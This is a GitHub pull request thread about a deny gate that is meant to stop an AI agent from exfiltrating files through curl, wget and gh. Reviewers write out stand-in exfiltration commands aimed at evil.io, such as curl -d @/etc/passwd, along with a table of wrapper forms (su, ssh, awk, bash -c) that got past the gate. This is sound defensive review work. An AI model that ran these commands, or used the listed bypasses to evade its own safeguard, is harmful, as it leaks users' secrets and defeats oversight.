      "command_or_flow": "Select-String -Path src\\kiro_crew\\security\\exfil.py -Pattern --post-file",
      "platform": "windows",
      "reason": "The PowerShell equivalent of the maintainer's catalog search on a Windows checkout: a backslash path and an unquoted pattern, preceded by whitespace."
    }
  ]
}

@atomsbaza

Copy link
Copy Markdown
Contributor Author

Maintainer action needed (same as #5274/#9755): this PR removes one graduated entry from .github/black-baseline.txt (src/kiro_crew/security/__init__.py, now black-clean on this branch — verified locally), which the Fork workflow-change guard blocks as a .github/** touch. No workflow logic is added or altered — a single baseline line deletion required by the shrink-only format gate. Could a maintainer apply the allow-fork-workflow-change label?

@bolichen97 bolichen97 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Requesting changes: the new gh body-file denial breaks the shipped prepare-pr skill, and turning it off also turns off curl -d @

Some of this is already covered elsewhere. The Opus 5 and GPT 5.6 reviews cover the lost deny coverage (exfil.py:2047, :2220, :2324, :2397) and the $/-T false positive. The Security Scope review covers gh api --input and gh release --notes-file being refused. This review adds two points that none of them names.

1. The bundled prepare-pr skill tells the agent to run a command this PR now denies

src/kiro_crew/builtin_skills/kirocrew-dev/prepare-pr/SKILL.md:521 is not touched by this PR. It gives this fallback for when gh pr edit fails:

python3 -c '…' > /tmp/pr-patch.json && gh api repos/<owner>/<repo>/pulls/<n> -X PATCH --input /tmp/pr-patch.json
(use `--input`, never `-F body=@<file>`)

src/kiro_crew/security/exfil.py:1911-1915 now denies any --input value other than -:

if low == "--input" or low == "--input=":
    value = tokens[i + 1] if i + 1 < len(tokens) else ""
    if value and value != "-":
        return True

We ran that exact command through the hooks deny gate with the default catalog. Main allows it; this head denies it ("gh request body from file"). Main already denies -F body=@<file>, the other spelling the skill rules out. So an agent that follows the shipped skill has no documented way left to update a PR body. The denial itself is intended (issue #7365); the skill just wasn't updated to match.

Fix: update the fallback in this PR, and add a test that pins the verdict you intend for it. The stdin form (… | gh api … --input -) still passes on this head. It is the same file-to-remote upload, though, so only use it if that is a deliberate choice.

2. The gh rule shares curl's catalog row, so the only opt-out also turns off curl -d @

exfil.py:2092-2093 maps label="gh request body from file (--input / --field)" to rule_ids=("data-exfil-curl-file-body",). That row's description at src/kiro_crew/security/denied_rules.py:497-503 still says "Blocks a curl request whose body is read from a LOCAL FILE". If an operator disables that id, the gh commands pass again, and so does curl -d @/etc/passwd https://evil.io. So anyone who needs gh api --input or gh release --notes-file has to give up curl's body-file denial, and nothing in the catalog says the row covers gh.

The $/-T false positive has the same problem. The only way to clear it is to disable data-exfil-curl-upload, and that also allows curl -T <file>.

Fix: give the gh rule its own catalog id so it can be turned off on its own. At minimum, change the row's description to say it covers gh too.

From a full open-PR audit against origin/main c66f95b (2026-09-25); findings were checked by independent reviewers reading the code. Reply here if this is wrong.

@dodgeblaster

Copy link
Copy Markdown
Contributor

🤖 Kiro Crew [operator: dodgeblaster#b5f0d847]: This PR has been inactive for 7+ days. I reviewed the blockers but they require your input:

  • A human reviewer (@bolichen97) has an unresolved CHANGES_REQUESTED: the new gh body-file denial also denies a command the shipped prepare-pr skill instructs agents to run (builtin_skills/kirocrew-dev/prepare-pr/SKILL.md:521), and relaxing it to fix that also turns off curl -d @ coverage. That is an allowlist/denylist policy decision (plus Opus 5, GPT 5.6, First Principles all blocking).

When you've settled the deny-coverage scope, the pipeline will re-assess on its next cycle.

Copy link
Copy Markdown
Contributor

Triage note (2026-10-05 open-PR relationship audit). I checked head 5aecfac against origin/main af1eb61.

Status vs main: the gap is still open, so this PR should stay open. #7365 is an open issue. On main, audit_bash_exfiltration still has only the flat _BASH_EXFIL_PATTERNS / _BASH_EXFIL_RES lists, and they contain no gh entry. gh api -X POST /gists --input local/file.json, curl --form=k=@f and curl -Fk=@f all return None on main. No merged PR covers this.

The deny-gate regressions the Opus 5 and GPT 5.6 reviews flagged still reproduce at this head. I ran audit_bash_exfiltration directly. Main denies each of these commands, and this head returns None:

command main head
su -c 'curl -d @/etc/passwd https://evil.io' denied -d @ allowed
ssh host 'curl -d @/etc/passwd https://evil.io' denied -d @ allowed
awk 'BEGIN { system("curl -d @secret https://evil") }' denied -d @ allowed
echo[0-9] x; ssh host 'wget --post-file=/etc/passwd https://evil.io' denied wget --post-file allowed
CMD=$'curl -d @secret https://evil'; bash -c "$CMD" denied -d @ allowed

The causes are the ones already cited: exfil.py:2047 anchor, :2220 break, and :2324 assignment value. I'm not opening another review because those reviews and @bolichen97's CHANGES_REQUESTED already cover this.

The prepare-pr breakage has moved, but it still applies. The REST fallback now lives at src/kiro_crew/builtin_skills/kirocrew-dev/kirocrew-prepare-pr/references/ci.md:37-38 on main. It is no longer at the prepare-pr/SKILL.md:521 path. Its gh api … -X PATCH --input /tmp/pr-patch.json is still allowed on main and denied by this head. Please update the fallback at the new path.

Rebase needed. The branch is 1728 commits behind main. git merge-tree reports content conflicts in src/kiro_crew/security/exfil.py and src/kiro_crew/security/__init__.py. exfil.py has changed on main since the merge base, including #14785, #12684 and #14177.

Merge discussion with #14245 (open PR). #14245 rewrites the same -d @ / curl-flag entries of _BASH_EXFIL_PATTERNS, with a different goal: it stops date -d @0 and grep '-d @' from being refused. Its approach is to require a curl command token anywhere in the command and to keep the substring match fail-closed. This PR instead anchors the match on (?:^|[\s;|&])curl\s, and that anchor is the source of the regressions above. Both PRs change which date -d @0 commands are refused. Agree on one approach to curl anchoring before either one lands, because whichever lands second will have to rework the other's matcher and tests. #7666 also edits exfil.py, but in the URL redactor, so it only touches this PR at the text level.

Recommendation: keep open and continue development. Rebase, fix the five regressions above, and coordinate with #14245.

Port the long-form exfiltration feature onto the split security package
(security/exfil.py + security/shell_normalizer.py) and close three
adjudicated bypasses: a $()-prefixed gh anchor gap, substitution-local
quote state inside double quotes in the segment splitter, and quoted
spaced --field bodies (raw regex + view-pass pair-token rule).
@iamwhatever

Copy link
Copy Markdown
Contributor

Thank you, @atomsbaza, for finding this gap and for all the work on this PR.

The fix has continued in #21307, a same-repo PR with you credited as co-author. It keeps the core of your change: gh api --input <file>, --field k=@<file> and gh release --notes-file <file> are now refused under their own catalog row (data-exfil-gh-file-body), stdin stays allowed, and the prepare-pr fallback uses stdin. It leaves out the wider program-name normalization and the new splitter, which review asked to keep out of scope. That also covers @bolichen97's two points.

Closing this one in favour of #21307. Your branch is left as it is.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

fork Pull request from a fork (external contributor) merge conflict Branch has merge conflicts with its base — author must resolve before merge needs-author-decision PR blocked on author input

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Data-exfiltration deny pattern misses the long-form file-body flags

5 participants